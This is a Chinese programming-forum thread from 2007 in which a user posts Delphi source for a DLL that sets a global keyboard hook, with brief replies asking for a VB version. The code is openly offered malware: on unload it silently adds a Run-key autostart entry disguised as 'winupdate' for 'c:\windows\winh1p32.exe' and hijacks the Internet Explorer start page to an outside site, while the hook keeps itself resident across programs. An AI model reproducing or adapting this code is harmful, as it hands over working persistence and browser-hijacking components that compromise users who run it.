网站 › 『 编程之美 』 › DLL全局钩子

Moodsky 发表于 2007-2-8 11:14:54

DLL全局钩子

// 以下使用内存映射文件共享数据来保存键盘钩子和Dll句柄
// 运行此程序:触发程序加载完Dll后,对其他系统内有键盘响应事件的程序自己挂钩
// 而即使触发程序死亡,DLL还是会达到监控键盘响应事件自动挂钩的目的
// 直到你按下Ctrl+F组合键DLL才从内存中卸载.

library sysinfo;

uses
windows;


const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
type
TShared = record
    KeyHook:HHook;
    Moudle :THandle;
end;
PShared = ^TShared;
var
MemFile: THandle;
Shared: PShared;

{撤消钩子过滤函数}
function UninstallHook: Boolean;
begin
Freelibrary(Shared^.Moudle);
Result := UnHookWindowsHookEx(Shared^.KeyHook);
UnmapViewOfFile(Shared);
CloseHandle(memFile);
end;


function KeyHookProc(iCode: Integer; wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
    Result := CallNextHookEx(Shared^.KeyHook,
       iCode,
      wParam,
      lParam)
else begin
    if ((lParam and KeyPressMask) = 0) and (GetKeyState(vk_Control) < 0) and (
wparam = Ord('F'))
    then
    begin
      Windows.MessageBox(0,'........钩子已消除!..........','hello!',MB_ICONEXC
LAMATION);
      UninstallHook;
    end;
//result:=0;
    Result := CallNextHookEx(Shared^.KeyHook,iCode,wParam,lParam);
end;
end;

function InstallHook:Boolean;
begin
Shared^.Moudle:=GetModuleHandle(PChar('sysinfo'));
Shared^.KeyHook := SetWindowsHookEx(WH_KEYBOARD,
                           @KeyHookProc,
                           Shared^.Moudle,
                                       0);
if Shared^.KeyHook = 0 then
begin
    Result := False;
    Exit;
end;
Result := true;
end;


// 以下为写注册表部分,在下定义了一个函数
procedure writeregedit(cCustomLog,var1,var2:pchar);
var
size: integer;
s: string;
TempKey: HKEY;
fDisposition: pointer;
begin
fDisposition := nil;
      if RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                     cCustomLog,
                     0,
                     nil,
                     REG_OPTION_NON_VOLATILE,
                     KEY_WRITE,
                     nil,
                     TempKey,
                     fDisposition)= ERROR_SUCCESS
                     then begin
         RegSetValueEx (TempKey,
                         var1,
                         0,
                         REG_SZ,
                         var2,
                        length(var2));

                     end;
RegCloseKey(TempKey);
end;


procedure DllEntry(dwReason : integer);
begin
case dwReason Of

// DLL导入进程时
    DLL_PROCESS_ATTACH:
      begin
      MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
      if MemFile = 0 then
          MemFile := CreateFileMapping($FFFFFFFF,nil,
            PAGE_READWRITE,
            0,
            SizeOf(TShared),
            HOOK_MEM_FILENAME);
      Shared := MapViewOfFile(MemFile,
          File_MAP_WRITE,
          0,
          0,
          0);
// 加载钩子
      InstallHook;
      end;
    DLL_PROCESS_DETACH:
      begin
      writeregedit('SOFTWARE\Microsoft\Windows\CurrentVersion\Run','winupdat
e','c:\windows\winh1p32.exe');
      writeregedit('SOFTWARE\Microsoft\internet explorer\main','start page',
'http://www.iou.com');

// 我不想此时卸载钩子
//      UninstallHook;
      end;
    else;
end;
end;


exports
InstallHook;

begin
DllProc := @DllEntry;
DllEntry(DLL_PROCESS_ATTACH);
end.

晕了:

今天有点累,注解未完之处以后补上吧.附:网站快要申请了,到时贴上所有源码^_^

suifengbeng 发表于 2007-4-1 14:40:46

/:06 支持下！！！！！！

yusy2008 发表于 2007-8-29 15:44:43

好东西， 如果 能改成 VB 的就好了

查看完整版本: DLL全局钩子